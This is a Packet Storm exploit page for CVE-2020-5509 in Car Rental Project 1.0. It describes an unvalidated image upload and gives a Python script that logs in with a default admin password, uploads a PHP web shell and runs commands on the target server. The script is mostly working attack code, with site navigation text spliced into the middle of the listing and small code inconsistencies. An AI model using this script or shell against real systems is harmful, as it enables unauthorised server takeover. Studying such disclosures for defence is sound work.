

Car Rental Project 1.0 Remote Code Execution

Authored by FULLSHADE

Posted Jan 13, 2020

Car Rental Project version 1.0 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution

advisories | CVE-2020-5509

SHA-256 | e4cc4dc5e55caa316a3d402d9317d0020cfe62d7d79914ce1f4bf5dca32e437a Download | Favorite | View

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change MirrorDownload

```
# Exploit Title: Car Rental Project v.1.0 Remote Code Execution
# Google Dork: N/A
# Date: 1/3/2020
# Exploit Author: FULLSHADE
# Vendor Homepage:
https://phpgurukul.com/
# Software Link:
https://phpgurukul.com/car-rental-project-php-mysql-free-download/
# Version: 1.0
# Tested on: Windows
# CVE : CVE-2020-5509

-----

Information & description
-----

Car Rental Project v.1.0 is vulnerable to arbitrary file upload since an admin can change the image of a product and the file change PHP code doesn't validate or care what type of file is submitted, which leads to an attack having the ability to upload malicious files. This Python POC will execute arbitrary commands on the remote server.

-----

Manual POC
-----

Manual POC method

- Visit carrental > admin login > changeimage1.php
- Upload a php rce vulnerable payload
- Visit /carrentalproject/carrental/admin/img/vehicleimages/.php to visit your file
- Execute commands on the server

-----

POC automation script
-----

import sys
import requests

print(
    """
    -----
    Car Rental Project v1.0 - Remote Code Execution
    -----
    FULLSHADE, FullPwn Operations
    """
)

def login():

    sessionObj = requests.session()

    RHOSTS = sys.argv[1]
    bigstring = "\n-----+\n"
    print("%s" % bigstring)
    print("[+] Victim host: {}".format(RHOSTS))

    POST_AUTH_LOGIN = "http://" + RHOSTS + "/carrentalproject/carrental/admin/index.php"
    SHELL_UPLOAD_URL = "http://" + RHOSTS + "/carrentalproject/carrental/admin/changeimage1.php"

    # login / authentication
    payload = {"username": "admin", "password": "Test@12345", "login": ""}
    login = sessionObj.post(POST_AUTH_LOGIN, data=payload)
    # get response
    if login.status_code == 200:
        print("[+] Login HTTP response code: 200")
        print("[+] Successfully logged in")
    else:
        print("[!] Failed to authenticate")
        sys.exit()

    # get session token
    session_cookie_dic = sessionObj.cookies.get_dict()
    token = session_cookie_dic["PHPSESSID"]
    print("[+] Session cookie: {}".format(token))

    # proxy for Burp testing
    proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}

    # data for uploading the backdoor request
    backdoor_file = {
        "img1": (
            "1dcccdfed7bcb036c56a4afb97e906f.php",
            "<?php system($_GET['cmd']); ?>",
            "Content-Type application/x-php",
        )
    }
    backdoor_data = {"update": ""}

    SHELL_UPLOAD_URL = {
        "http://" + RHOSTS + "/carrentalproject/carrental/admin/changeimage1.php"
    }

    # actually upload the php shell
    try:
        r = sessionObj.post(
            url=SHELL_UPLOAD_URL, files=backdoor_file, data=backdoor_data
        )
        print(
            "%s" % "[+] Backdoor upload at "
            + "/carrentalproject/carrental/admin/img/vehicleimages/1dcccdfed7bcb036c56a4afb97e906f.php"
            + bigstring
        )
    except:
        print("[!] Failed to upload backdoor")

    # get command execution
    while True:
        COMMAND = str(input('\033[32m' + "Command RCE >> " + '\033[m'])
        SHELL_LOCATION = {
            "http://"
            + RHOSTS
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secuRty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Inclusion (4,165)

File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)

Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
        + "/carrentalproject/carrental/admin/img/vehicleimages/1dcccadfed7bcb036c56a4afb97e906f.php"
    )
    # get RCE results
    respond = sessionObj.get(SHELL_LOCATION + "?cmd=" + COMMAND)
    print(respond.text)

if __name__ == "__main__":
    login()
```

[Login](#) or [Register](#) to add favorites

Spoof (2,166) SUSE (1,444)
SQL Injection (16,102) Ubuntu (8,199)
TCP (2,379) UNIX (9,159)
Trojan (686) UnixWare (185)
UDP (876) Windows (6,511)
Virus (662) Other
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)


[Terms of Service](#)


[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)